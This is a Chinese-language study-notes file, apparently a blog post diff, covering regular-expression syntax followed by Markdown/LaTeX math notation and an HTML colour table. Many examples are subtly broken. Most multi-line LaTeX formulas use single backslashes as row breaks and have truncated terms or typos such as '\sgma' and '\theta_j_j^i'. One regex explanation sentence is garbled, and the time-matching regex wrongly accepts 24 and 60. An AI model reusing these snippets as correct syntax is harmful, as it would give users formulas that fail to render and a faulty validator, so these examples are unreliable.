均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。 | 例如,"o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。 | + +```py +以下正则表达式匹配一个正整数 +[1-9]设置第一个数字不是 0, +[0-9]* 表示任意多个数字: + +/[1-9][0-9]*/ + +# 0 not selected +1 +10 +123 +1234 + +- 限定符出现在范围表达式之后。因此,它应用于整个范围表达式,在本例中,只指定从 0 到 9 的数字(包括 0 和 9)。 +- 不使用 + 限定符,因为在第二个位置或后面的位置不一定需要有一个数字。 +- 不使用 ? 字符,因为使用 ? 会将整数限制到只有两位数。 + + +如果设置 0~99 的两位数, +- 用下面的表达式来至少指定一位但至多两位数字。 + +/[0-9]{1,2}/ + + +上面的表达式的缺点是,只能匹配两位数字,而且可以匹配 0、00、01、10 99 的章节编号仍只匹配开头两位数字。 +- 改进下,匹配 1~99 的正整数表达式如下: + +/[1-9][0-9]?/ +或 +/[1-9][0-9]{0,1}/ +``` + +`*、+` 限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个 `?` 就可以实现`非贪婪`或`最小匹配`。 + +```xml +例如,搜索 HTML 文档,以查找在 h1 标签内的内容。 +HTML 代码如下: + +

    RUNOOB-菜鸟教程

    + +贪婪:匹配从开始小于符号 (<) 到关闭 h1 标记的大于符号 (>) 之间的所有内容:

    RUNOOB-菜鸟教程

    。 +/<.*>/ + + +非贪婪:只匹配开始和结束 h1 标签,下面的非贪婪表达式只匹配:

    。 +/<.*?>/ + + +也可以使用以下正则表达式来匹配 h1 标签,表达式则是: +/<\w+?>/ +``` + +## 选择 +用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,使相关的匹配会被缓存,此时可用`?:`放在第一个选项前来消除这种副作用。 + +其中 ?: 是非捕获元之一,还有两个非捕获元是 ?= 和 ?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。 + +## 反向引用 +对一个正则表达式模式 或部分模式 两边添加圆括号 将 导致相关匹配 存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。 +- 缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。 +- 每个缓冲区都可以使用 \n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。 + +可以使用非捕获元字符 ?:、?= 或 ?! 来重写捕获,忽略对相关匹配的保存。 + +反向引用的最简单的、最有用的应用之一,是提供查找文本中两个相同的相邻单词的匹配项的能力。以下面的句子为例: + +Is is the cost of of gasoline going up up? + +上面的句子很显然有多个重复的单词。如果能设计一种方法定位该句子,而不必查找每个单词的重复出现,那该有多好。下面的正则表达式使用单个子表达式来实现这一点: + +实例 +查找重复的单词: + +var str = "Is is the cost of of gasoline going up up"; +var patt1 = /\b([a-z]+) \1\b/ig; +document.write(str.match(patt1)); + +- 捕获的表达式,正如 [a-z]+ 指定的,包括一个或多个字母。 +- 正则表达式的第二部分是对以前捕获的子匹配项的引用,即,单词的第二个匹配项正好由括号表达式匹配。\1 指定第一个子匹配项。 +- 单词边界元字符确保只检测整个单词。否则,诸如 "is issued" 或 "this is" 之类的词组将不能正确地被此表达式识别。 +- 正则表达式后面的全局标记 `g` 指定将该表达式应用到输入字符串中能够查找到的尽可能多的匹配。 +- 表达式的结尾处的不区分大小写 `i` 标记指定不区分大小写。 + +多行标记指定换行符的两边可能出现潜在的匹配。 + + +`反向引用`还可以将通用资源指示符 (URI) 分解为其组件。 + +```xml +假定您想将下面的 URI 分解为协议(ftp、http 等等)、域地址和页/路径: +- `https://www.runoob.com:80/html/html-tutorial.html` + +输出所有匹配的数据: + +var str = "https://www.runoob.com:80/html/html-tutorial.html"; +var patt1 = /(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)/; +arr = str.match(patt1); +for (var i = 0; i < arr.length ; i++) { + document.write(arr[i]); + document.write("
    "); +} + +第三行代码 str.match(patt1) 返回一个数组,实例中的数组包含 5 个元素,索引 0 对应的是整个字符串,索引 1 对应第一个匹配符(括号内),以此类推。 + +第一个括号子表达式捕获 Web 地址的协议部分。该子表达式匹配在冒号和两个正斜杠前面的任何单词。 + +第二个括号子表达式捕获地址的域地址部分。子表达式匹配非 : 和 / 之后的一个或多个字符。 + +第三个括号子表达式捕获端口号(如果指定了的话)。该子表达式匹配冒号后面的零个或多个数字。只能重复一次该子表达式。 + +最后,第四个括号子表达式捕获 Web 地址指定的路径和 / 或页信息。该子表达式能匹配不包括 # 或空格字符的任何字符序列。 + +将正则表达式应用到上面的 URI,各子匹配项包含下面的内容: + +第一个括号子表达式包含 http +第二个括号子表达式包含 www.runoob.com +第三个括号子表达式包含 :80 +第四个括号子表达式包含 /html/html-tutorial.html + +``` + +### example +#### 时分的正则表达式 + +用来匹配 xx:xx (如:18:26) 格式时间正则: + +^([01]\d|2[01234]):([0-5]\d|60)$ + +#### 2 + +re.sub(r'(\b[A-z]+) \1',r'\1','Cat In The The Hat') +使用上面的正则会输出: Cat In The Hat + +如果把里面的 + 换成 *,如: + +re.sub(r'(\b[A-z]*) \1',r'\1','Cat In The The Hat') +则输出: CatInTheHat + +原因是:* 表示左边的字符出现 0 次或多次,这样正则就能匹配到 \b+ 空格 +\b 的字符,并且将其替换为 \b。也就是说删除掉 \b+ 空格。相当于去掉空格,合并 2 个单词边界为 1 个。 + + +--- + +## 正则表达式 - 元字符 + +### `\` +将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。 +- 例如, +- 'n' 匹配字符 "n"。'\n' 匹配一个换行符。 +- 序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。 + +### `^` +匹配输入字符串的开始位置。 +- 如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。 + +### `$` +匹配输入字符串的结束位置。 +- 如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。 + +### `*` +匹配前面的子表达式零次或多次。 +- 例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。 + +### `+` +匹配前面的子表达式一次或多次。 +- 例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 + +### `?` +匹配前面的子表达式零次或一次。 +- 例如,"do(es)?" 可以匹配 "do" 或 "does" 。? 等价于 {0,1}。 + +### `{n}` +n 是一个非负整数。匹配确定的 n 次。 +- 例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。 + +### `{n,}` +n 是一个非负整数。至少匹配n 次。 +- 例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。 + +### `{n,m}` +m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。 +- 例如,"o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。 + +### `?` +当该字符紧跟在任何一个其他限制符 `(*, +, ?, {n}, {n,}, {n,m})` 后面时,匹配模式是非贪婪的。 +- 非贪婪模式尽可能少的匹配所搜索的字符串, +- 默认的贪婪模式则尽可能多的匹配所搜索的字符串。 +- 例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。 + +### `.` +匹配除换行符(\n、\r)之外的任何单个字符。 +- 要匹配包括 '\n' 在内的任何字符,请使用像"(.|\n)"的模式。 + +### `(pattern)` 匹配 pattern 并获取这一匹配。 +- 所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在JScript 中则使用 $0…$9 属性。 +- 要匹配圆括号字符,请使用 '\(' 或 '\)'。 + +### `(?:pattern)` 匹配 pattern *但不获取匹配结果* +- 一个非获取匹配,不进行存储供以后使用。 +- 这在使用 "或" 字符 (|) 来组合一个模式的各个部分是很有用。 +- 例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。 + +### `XXX(?=pattern)` 正向肯定预查(look ahead positive assert) +- 在任何匹配pattern的字符串开始处匹配查找字符串。 +- 一个非获取匹配,也就是说,该匹配不需要获取供以后使用。 +- 例如, +- `Windows(?=95|98|NT|2000)`能匹配"Windows2000"中的"Windows",但不能匹配"Windows3.1"中的"Windows"。 +- 预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 + +### `(?!pattern)` +正向否定预查(negative assert),在任何不匹配pattern的字符串开始处匹配查找字符串。 +这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。 +- 例如 +- "Windows(?!95|98|NT|2000)"能匹配"Windows3.1"中的"Windows",但不能匹配"Windows2000"中的"Windows"。 +- 预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 + +### `(?<=pattern)XXX` 反向(look behind)肯定预查 +- 与正向肯定预查类似,只是方向相反。 +- 例如 +- "(?<=95|98|NT|2000)Windows"能匹配"2000Windows"中的"Windows",但不能匹配"3.1Windows"中的"Windows"。 + +#### (?=xox) 和 (?<=xox) 的区别: +可以看作此两者是匹配字符之间的一个虚无的 “空位”。 +(?=xox) 匹配 xox 之前的空位,而 (?<=xox) 匹配 xox 之后的空位。 + +所以对于 abxoxcd: +- (?=xox).. 匹配 xo +- ..(?=xox) 匹配 ab +- (?<=xox).. 匹配 cd +- ..(?<=xox) 匹配 ox + +`?=、?!、?<= ?]*)?>[\s\S]*<\s*\/\1\s*>/ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/other/2020-09-25-Markdown.md b/_posts/00CodeNote/language/other/2020-09-25-Markdown.md new file mode 100644 index 00000000000..add0abb3bab --- /dev/null +++ b/_posts/00CodeNote/language/other/2020-09-25-Markdown.md @@ -0,0 +1,1716 @@ +--- +title: Markdown数学公式语法 +date: 2020-09-25 11:11:11 -0400 +description: +categories: [00CodeNote] +tags: [Markdown] +math: true +toc: true +--- + +- [Markdown](#markdown) + - [clolr](#clolr) + - [change pic/gif size](#change-picgif-size) + - [Markdown数学公式语法](#markdown数学公式语法) + - [0. 行内与独行](#0-行内与独行) + - [1. 向量公式](#1-向量公式) + - [2. 分段函数](#2-分段函数) + - [分段函数](#分段函数) + - [方程组](#方程组) + - [均方误差](#均方误差) + - [批量梯度下降](#批量梯度下降) + - [推导过程](#推导过程) + - [case环境的使用](#case环境的使用) + - [带方框的等式](#带方框的等式) + - [最大(最小)操作符](#最大最小操作符) + - [求极限](#求极限) + - [求积分](#求积分) + - [使用`[2ex]` 代替`\` 使分组的垂直间隔增大。](#使用2ex-代替-使分组的垂直间隔增大) + - [3. 多行表达公式](#3-多行表达公式) + - [常见公式环境](#常见公式环境) + - [公式编辑的编号设置](#公式编辑的编号设置) + - [矩阵](#矩阵) + - [1. 不带括号的矩阵](#1-不带括号的矩阵) + - [2. 带小括号的矩阵](#2-带小括号的矩阵) + - [3. 带中括号的矩阵](#3-带中括号的矩阵) + - [4. 带大括号的矩阵](#4-带大括号的矩阵) + - [5. 带省略号的矩阵](#5-带省略号的矩阵) + - [6. 带横线/竖线分割的矩阵:](#6-带横线竖线分割的矩阵) + - [**横线用 `\hline` 分割,示例如下:**](#横线用-hline-分割示例如下) + - [上下标符号](#上下标符号) + - [括号](#括号) + - [分式与根式](#分式与根式) + - [开方](#开方) + - [累加/累乘](#累加累乘) + - [三角函数](#三角函数) + - [对数函数](#对数函数) + - [二元运算符](#二元运算符) + - [关系符号](#关系符号) + - [极限](#极限) + - [向量](#向量) + - [模运算](#模运算) + - [箭头](#箭头) + - [集合](#集合) + - [微积分](#微积分) + - [逻辑运算](#逻辑运算) + - [希腊字母](#希腊字母) + - [省略号](#省略号) + - [空格](#空格) + - [其他符号](#其他符号) + - [表格格式设置](#表格格式设置) + - [上标、下标与组合](#上标下标与组合) + - [汉字、字体与格式](#汉字字体与格式) + - [占位符](#占位符) + - [定界符与组合](#定界符与组合) + - [四则运算](#四则运算) + - [高级运算](#高级运算) + - [集合运算](#集合运算) + - [数学符号](#数学符号) + +--- + +# Markdown + +--- + +## clolr + +```html +我是黑体字 +我是微软雅黑 +我是华文彩云 +color=#0099ff size=72 face="黑体" +color=#00ffff +color=gray +``` + + +| Color name | 16 Bite | Color | +| -------------------- | ------- | ------------------ | +| AliceBlue | #F0F8FF | rgb(240, 248, 255) | +| AntiqueWhite | #FAEBD7 | rgb(250, 235, 215) | +| Aqua | #00FFFF | rgb(0, 255, 255) | +| Aquamarine | #7FFFD4 | rgb(127, 255, 212) | +| Azure | #F0FFFF | rgb(240, 255, 255) | +| Beige | #F5F5DC | rgb(245, 245, 220) | +| Bisque | #FFE4C4 | rgb(255, 228, 196) | +| Black | #000000 | rgb(0, 0, 0) | +| BlanchedAlmond | #FFEBCD | rgb(255, 235, 205) | +| Blue | #0000FF | rgb(0, 0, 255) | +| BlueViolet | #8A2BE2 | rgb(138, 43, 226) | +| Brown | #A52A2A | rgb(165, 42, 42) | +| BurlyWood | #DEB887 | rgb(222, 184, 135) | +| CadetBlue | #5F9EA0 | rgb(95, 158, 160) | +| Chartreuse | #7FFF00 | rgb(127, 255, 0) | +| Chocolate | #D2691E | rgb(210, 105, 30) | +| Coral | #FF7F50 | rgb(255, 127, 80) | +| CornflowerBlue | #6495ED | rgb(100, 149, 237) | +| Cornsilk | #FFF8DC | rgb(255, 248, 220) | +| Crimson | #DC143C | rgb(220, 20, 60) | +| Cyan | #00FFFF | rgb(0, 255, 255) | +| DarkBlue | #00008B | rgb(0, 0, 139) | +| DarkCyan | #008B8B | rgb(0, 139, 139) | +| DarkGoldenRod | #B8860B | rgb(184, 134, 11) | +| DarkGray | #A9A9A9 | rgb(169, 169, 169) | +| DarkGreen | #006400 | rgb(0, 100, 0) | +| DarkKhaki | #BDB76B | rgb(189, 183, 107) | +| DarkMagenta | #8B008B | rgb(139, 0, 139) | +| DarkOliveGreen | #556B2F | rgb(85, 107, 47) | +| Darkorange | #FF8C00 | rgb(255, 140, 0) | +| DarkOrchid | #9932CC | rgb(153, 50, 204) | +| DarkRed | #8B0000 | rgb(139, 0, 0) | +| DarkSalmon | #E9967A | rgb(233, 150, 122) | +| DarkSeaGreen | #8FBC8F | rgb(143, 188, 143) | +| DarkSlateBlue | #483D8B | rgb(72, 61, 139) | +| DarkSlateGray | #2F4F4F | rgb(47, 79, 79) | +| DarkTurquoise | #00CED1 | rgb(0, 206, 209) | +| DarkViolet | #9400D3 | rgb(148, 0, 211) | +| DeepPink | #FF1493 | rgb(255, 20, 147) | +| DeepSkyBlue | #00BFFF | rgb(0, 191, 255) | +| DimGray | #696969 | rgb(105, 105, 105) | +| DodgerBlue | #1E90FF | rgb(30, 144, 255) | +| Feldspar | #D19275 | rgb(209, 146, 117) | +| FireBrick | #B22222 | rgb(178, 34, 34) | +| FloralWhite | #FFFAF0 | rgb(255, 250, 240) | +| ForestGreen | #228B22 | rgb(34, 139, 34) | +| Fuchsia | #FF00FF | rgb(255, 0, 255) | +| Gainsboro | #DCDCDC | rgb(220, 220, 220) | +| GhostWhite | #F8F8FF | rgb(248, 248, 255) | +| Gold | #FFD700 | rgb(255, 215, 0) | +| GoldenRod | #DAA520 | rgb(218, 165, 32) | +| Gray | #808080 | rgb(128, 128, 128) | +| Green | #008000 | rgb(0, 128, 0) | +| GreenYellow | #ADFF2F | rgb(173, 255, 47) | +| HoneyDew | #F0FFF0 | rgb(240, 255, 240) | +| HotPink | #FF69B4 | rgb(255, 105, 180) | +| IndianRed | #CD5C5C | rgb(205, 92, 92) | +| Indigo | #4B0082 | rgb(75, 0, 130) | +| Ivory | #FFFFF0 | rgb(255, 255, 240) | +| Khaki | #F0E68C | rgb(240, 230, 140) | +| Lavender | #E6E6FA | rgb(230, 230, 250) | +| LavenderBlush | #FFF0F5 | rgb(255, 240, 245) | +| LawnGreen | #7CFC00 | rgb(124, 252, 0) | +| LemonChiffon | #FFFACD | rgb(255, 250, 205) | +| LightBlue | #ADD8E6 | rgb(173, 216, 230) | +| LightCoral | #F08080 | rgb(240, 128, 128) | +| LightCyan | #E0FFFF | rgb(224, 255, 255) | +| LightGoldenRodYellow | #FAFAD2 | rgb(250, 250, 210) | +| LightGrey | #D3D3D3 | rgb(211, 211, 211) | +| LightGreen | #90EE90 | rgb(144, 238, 144) | +| LightPink | #FFB6C1 | rgb(255, 182, 193) | +| LightSalmon | #FFA07A | rgb(255, 160, 122) | +| LightSeaGreen | #20B2AA | rgb(32, 178, 170) | +| LightSkyBlue | #87CEFA | rgb(135, 206, 250) | +| LightSlateBlue | #8470FF | rgb(132, 112, 255) | +| LightSlateGray | #778899 | rgb(119, 136, 153) | +| LightSteelBlue | #B0C4DE | rgb(176, 196, 222) | +| LightYellow | #FFFFE0 | rgb(255, 255, 224) | +| Lime | #00FF00 | rgb(0, 255, 0) | +| LimeGreen | #32CD32 | rgb(50, 205, 50) | +| Linen | #FAF0E6 | rgb(250, 240, 230) | +| Magenta | #FF00FF | rgb(255, 0, 255) | +| Maroon | #800000 | rgb(128, 0, 0) | +| MediumAquaMarine | #66CDAA | rgb(102, 205, 170) | +| MediumBlue | #0000CD | rgb(0, 0, 205) | +| MediumOrchid | #BA55D3 | rgb(186, 85, 211) | +| MediumPurple | #9370D8 | rgb(147, 112, 216) | +| MediumSeaGreen | #3CB371 | rgb(60, 179, 113) | +| MediumSlateBlue | #7B68EE | rgb(123, 104, 238) | +| MediumSpringGreen | #00FA9A | rgb(0, 250, 154) | +| MediumTurquoise | #48D1CC | rgb(72, 209, 204) | +| MediumVioletRed | #C71585 | rgb(199, 21, 133) | +| MidnightBlue | #191970 | rgb(25, 25, 112) | +| MintCream | #F5FFFA | rgb(245, 255, 250) | +| MistyRose | #FFE4E1 | rgb(255, 228, 225) | +| Moccasin | #FFE4B5 | rgb(255, 228, 181) | +| NavajoWhite | #FFDEAD | rgb(255, 222, 173) | +| Navy | #000080 | rgb(0, 0, 128) | +| OldLace | #FDF5E6 | rgb(253, 245, 230) | +| Olive | #808000 | rgb(128, 128, 0) | +| OliveDrab | #6B8E23 | rgb(107, 142, 35) | +| Orange | #FFA500 | rgb(255, 165, 0) | +| OrangeRed | #FF4500 | rgb(255, 69, 0) | +| Orchid | #DA70D6 | rgb(218, 112, 214) | +| PaleGoldenRod | #EEE8AA | rgb(238, 232, 170) | +| PaleGreen | #98FB98 | rgb(152, 251, 152) | +| PaleTurquoise | #AFEEEE | rgb(175, 238, 238) | +| PaleVioletRed | #D87093 | rgb(216, 112, 147) | +| PapayaWhip | #FFEFD5 | rgb(255, 239, 213) | +| PeachPuff | #FFDAB9 | rgb(255, 218, 185) | +| Peru | #CD853F | rgb(205, 133, 63) | +| Pink | #FFC0CB | rgb(255, 192, 203) | +| Plum | #DDA0DD | rgb(221, 160, 221) | +| PowderBlue | #B0E0E6 | rgb(176, 224, 230) | +| Purple | #800080 | rgb(128, 0, 128) | +| Red | #FF0000 | rgb(255, 0, 0) | +| RosyBrown | #BC8F8F | rgb(188, 143, 143) | +| RoyalBlue | #4169E1 | rgb(65, 105, 225) | +| SaddleBrown | #8B4513 | rgb(139, 69, 19) | +| Salmon | #FA8072 | rgb(250, 128, 114) | +| SandyBrown | #F4A460 | rgb(244, 164, 96) | +| SeaGreen | #2E8B57 | rgb(46, 139, 87) | +| SeaShell | #FFF5EE | rgb(255, 245, 238) | +| Sienna | #A0522D | rgb(160, 82, 45) | +| Silver | #C0C0C0 | rgb(192, 192, 192) | +| SkyBlue | #87CEEB | rgb(135, 206, 235) | +| SlateBlue | #6A5ACD | rgb(106, 90, 205) | +| SlateGray | #708090 | rgb(112, 128, 144) | +| Snow | #FFFAFA | rgb(255, 250, 250) | +| SpringGreen | #00FF7F | rgb(0, 255, 127) | +| SteelBlue | #4682B4 | rgb(70, 130, 180) | +| Tan | #D2B48C | rgb(210, 180, 140) | +| Teal | #008080 | rgb(0, 128, 128) | +| Thistle | #D8BFD8 | rgb(216, 191, 216) | +| Tomato | #FF6347 | rgb(255, 99, 71) | +| Turquoise | #40E0D0 | rgb(64, 224, 208) | +| Violet | #EE82EE | rgb(238, 130, 238) | +| VioletRed | #D02090 | rgb(208, 32, 144) | +| Wheat | #F5DEB3 | rgb(245, 222, 179) | +| White | #FFFFFF | rgb(255, 255, 255) | +| WhiteSmoke | #F5F5F5 | rgb(245, 245, 245) | +| Yellow | #FFFF00 | rgb(255, 255, 0) | +| YellowGreen | #9ACD32 | rgb(154, 205, 50) | + +--- + +## change pic/gif size + +pic + + +--- + +## Markdown数学公式语法 + +一般公式分为两种形式,行内公式和行间公式。 +- 行内公式是在公式代码块的前后均添加一个`$` ; +- 行间公式则是在公式代码块的前后均添加两个`$$` 。 + +--- + +### 0. 行内与独行 + +1. 行内公式:将公式插入到本行内,符号: `$公式内容$` ,如:$xyz$ + +2. 独行公式:将公式插入到新的一行内,并且居中,符号: `$$公式内容$$` ,如:$$xyz$$ + +--- + +**数学算式:** + +- 行内公式: $ \Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. $ +- 行间公式: $$\Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,.$$ + +**Markdown公式:** + +```md +$ \Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. $ +$$\Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,.$$ +``` + +**公式排列:** +- 一般使用`\binom{a}{b}`或者`{a \choose b}`实现对 a , b a,b a,b两个公式的排列。 + +--- + +**数学算式:** + +(n + 1 2 k) = $$\binom{n+1}{2k} $$ + +**Markdown公式:** +```md +$$\binom{n+1}{2k} $$ +``` + +--- + +**数学算式:** +(n + 1 2 k) = $${n+1 \choose 2k} $$ + +**Markdown公式:** + +```md +$${n+1 \choose 2k} $$ +``` + + +--- + +### 1. 向量公式 + +**向量表示:** 使用`\mathbf{x}`来表示向量 $\mathbf{x}$ +**数学算式:** +$$f(\mathbf{x})=\mathbf{w}^T\mathbf{x}$$ + +**Markdown公式:** +```md +$$f(\mathbf{x})=\mathbf{w}^T\mathbf{x}$$ +``` + +--- + +### 2. 分段函数 + +定义函数的时候经常需要分情况给出表达式,使用 `{…`。其中: +1. 使用`\` 来分隔分组; +1. 使用`&` 来指示需要对齐的位置; +1. 使用`\ + 空格`来表示空格; +1. 如果要使分类之间的垂直间隔变大,可以使用`[2ex]` 代替`\` 来分隔不同的情况。(`3ex,4ex` 也可以用,`1ex` 相当于原始距离)。 + + +#### 分段函数 + +**数学算式:** + +$$ +y= +\begin{cases} +-x,\quad x\leq 0\ +x, \quad x> +\end{cases} +\tag{1} +$$ + +**Markdown公式:** + +```md +$$ +y= +\begin{cases} +-x,\quad x\leq 0\ +x, \quad x> +\end{cases} +\tag{1} +$$ +``` + +#### 方程组 + +**数学算式:** + +$$ +\left\{ +\begin{array}{c} + a_1x+b_1y+c_1z=d_1 \ + a_2x+b_2y+c_2z=d_2 \ + a_3x+b_3y+c_3z=d_ +\end{array} +\right. +$$ + + + + +**Markdown公式:** + +```md +$$ +\left\{ +\begin{array}{c} + a_1x+b_1y+c_1z=d_1 \ + a_2x+b_2y+c_2z=d_2 \ + a_3x+b_3y+c_3z=d_ +\end{array} +\right. +$$ +``` + + + +#### 均方误差 + +**数学算式:** + +$$ +J(\theta) = \frac{1}{2m}\sum_{i = 0} ^m(y^i - mdh_\theta (x^i))^2 +$$ + +**Markdown公式:** + + +```md +$$ +J(\theta) = \frac{1}{2m}\sum_{i = 0} ^m(y^i - h_\theta (x^i))^2 +$$ +``` + +#### 批量梯度下降 + +**数学算式:** + +$$ +\frac{\partial J(\theta)}{\partial\theta_j}=-\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i))x^i_j +$$ + +**Markdown公式:** + +```md +$$ +\frac{\partial J(\theta)}{\partial\theta_j}=-\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i))x^i_j +$$ +``` + + +#### 推导过程 + + +**数学算式:** + +$$ +\begin{aligned} +\frac{\partial J(\theta)}{\partial\theta_j} +& = -\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i)) \frac{\partial}{\partial\theta_j}(y^i-h_\theta(x^i)) \ +& = -\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i)) \frac{\partial}{\partial\theta_j}(\sum_{j=0}^n\theta_j_j^i-y^i) \ +& = -\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i))x^i_ +\end{aligned} +$$ + +**Markdown公式:** + +```md +$$ +\begin{aligned} +\frac{\partial J(\theta)}{\partial\theta_j} +& = -\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i)) \frac{\partial}{\partial\theta_j}(y^i-h_\theta(x^i)) \ +& = -\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i)) \frac{\partial}{\partial\theta_j}(\sum_{j=0}^n\theta_j_j^i-y^i) \ +& = -\frac1m\sum_{i=0}^m(y^i-h_\theta(x^i))x^i_ +\end{aligned} +$$ +``` + + + + +#### case环境的使用 + + + + +**数学算式:** + +$$ +a = +\begin{cases} + \int x\, \mathrm{d} x\ + b^ +\end{cases} +$$ + +**Markdown公式:** + +```md +$$ +a = +\begin{cases} + \int x\, \mathrm{d} x\ + b^ +\end{cases} +$$ +``` + + + +#### 带方框的等式 + + +**数学算式:** + +$$ +\begin{aligned} + \boxed{x^2+y^2 = z^2} +\end{aligned} +$$ + +**Markdown公式:** + +```md +$$ +\begin{aligned} + \boxed{x^2+y^2 = z^2} +\end{aligned} +$$ +``` + + + + +#### 最大(最小)操作符 + + +**数学算式:** + +$$ +\begin{gathered} +\operatorname{arg\,max}_a f(a) + = \operatorname*{arg\,max}_b f(b) \ + \operatorname{arg\,min}_c f(c) += \operatorname*{arg\,min}_d f(d) +\end{gathered} +$$ + +**Markdown公式:** + +```md +$$ +\begin{gathered} +\operatorname{arg\,max}_a f(a) + = \operatorname*{arg\,max}_b f(b) \ + \operatorname{arg\,min}_c f(c) += \operatorname*{arg\,min}_d f(d) +\end{gathered} +$$ +``` + + + + +#### 求极限 + + +**数学算式:** + +$$ +\begin{aligned} +\lim_{a\to \infty} \tfrac{1}{a} +\end{aligned} +$$ +$$ +\begin{aligned} + \lim\nolimits_{a\to \infty} \tfrac{1}{a} +\end{aligned} +$$ + +**Markdown公式:** + +```md +$$ +\begin{aligned} +\lim_{a\to \infty} \tfrac{1}{a} +\end{aligned} +$$ +$$ +\begin{aligned} + \lim\nolimits_{a\to \infty} \tfrac{1}{a} +\end{aligned} +$$ +``` + + + +#### 求积分 + + +**数学算式:** + +$$ +\begin{aligned} +\int_a^b x^2 \mathrm{d} x +\end{aligned} +$$ +$$ +\begin{aligned} + \int\limits_a^b x^2 \mathrm{d} x +\end{aligned} +$$ + +**Markdown公式:** + +```md +$$ +\begin{aligned} +\int_a^b x^2 \mathrm{d} x +\end{aligned} +$$ +$$ +\begin{aligned} + \int\limits_a^b x^2 \mathrm{d} x +\end{aligned} +$$ +``` + + + +#### 使用`[2ex]` 代替`\` 使分组的垂直间隔增大。 + +**数学算式:** + +$$ +y= +\begin{cases} +-x,\quad x\leq 0 \[2ex] +x, \quad x>0 +\end{cases} +\tag{1} +$$ + +**Markdown公式:** + +```md +$$ +y= +\begin{cases} +-x,\quad x\leq 0 \[2ex] +x, \quad x>0 +\end{cases} +\tag{1} +$$ +``` + +--- + + +### 3. 多行表达公式 + +有时候需要将一行公式分多行进行显示,其中`\begin{aligned}` 表示开始方程,`\end{equation}` 表示方程结束;使用`\`表示公式换行。\begin{gather}表示环境设置。,`&` 表示对齐的位置。 +**数学算式:** + +$$ +\begin{aligned} +J(\mathbf{w})&=\frac{1}{2m}\sum_{i=1}^m(f(\mathbf{x_i})-y_i)^2\ +&=\frac{1}{2m}\sum_{i=1}^m [f(\mathbf{x_i})]^2-2 +(\mathbf{x_i)}y_i+y_i^2 +\end{aligned} +$$ + +**Markdown公式:** + +```md +$$ +\begin{aligned} +J(\mathbf{w})&=\frac{1}{2m}\sum_{i=1}^m(f(\mathbf{x_i})-y_i)^2\ +&=\frac{1}{2m}\sum_{i=1}^m [f(\mathbf{x_i})]^2-2 +(\mathbf{x_i)}y_i+y_i^2 +\end{aligned} +$$ +``` + +--- + + + +### 常见公式环境 + +| 环境名称 | 释义 | +| --------- | ---------------- | +| align | 最基本的对齐环境 | +| multiline | 非对齐环境 | +| gather | 无对齐的连续方程 | + +> gathered 允许多行(多组)方程式在彼此之下设置并分配单个方程式编号 +> split 与align类似,但在另一个显示的数学环境中使用 +> aligned 与align类似,可以在其他数学环境中使用。 +> alignedat 与alignat类似,同样需要一个额外的参数来指定要设置的方程列数。 + +**备注:** 如果各个方程需要在某个字符处对齐(如等号对齐),只需在所有要对齐的字符前加上 `&` 符号。 + +**数学算式:** + +$$ +\begin{aligned} + \left.\begin{aligned} + B'&=-\partial \times E,\ %加&指定对齐位置 + E'&=\partial \times B - \pi j, + \end{aligned} + \right\} %加右} +\qquad \text{Maxwell's equations} +\end{aligned} +$$ + +$$ +\begin{aligned} + \sigma_1 &= x + y &\quad \sigma_2 &= \frac{x}{y} \ + \sigma_1' &= \frac{\partial x + y}{\partial x} & \sgma_2' + &= \frac{\partial \frac{x}{y}}{\partial x} +\end{aligned} +$$ + +$$ +\begin{aligned} +a_n&=\frac{1}{\pi}\int\limits_{-\pi}^{\pi}f(x)\cos nx\,\mathrm{d}x\ +&=\frac{1}{\pi}\int\limits_{-\pi}^{\pi}x^2\cos nx\ +\mathrm{d}x\[6pt] +\end{aligned} +$$ + 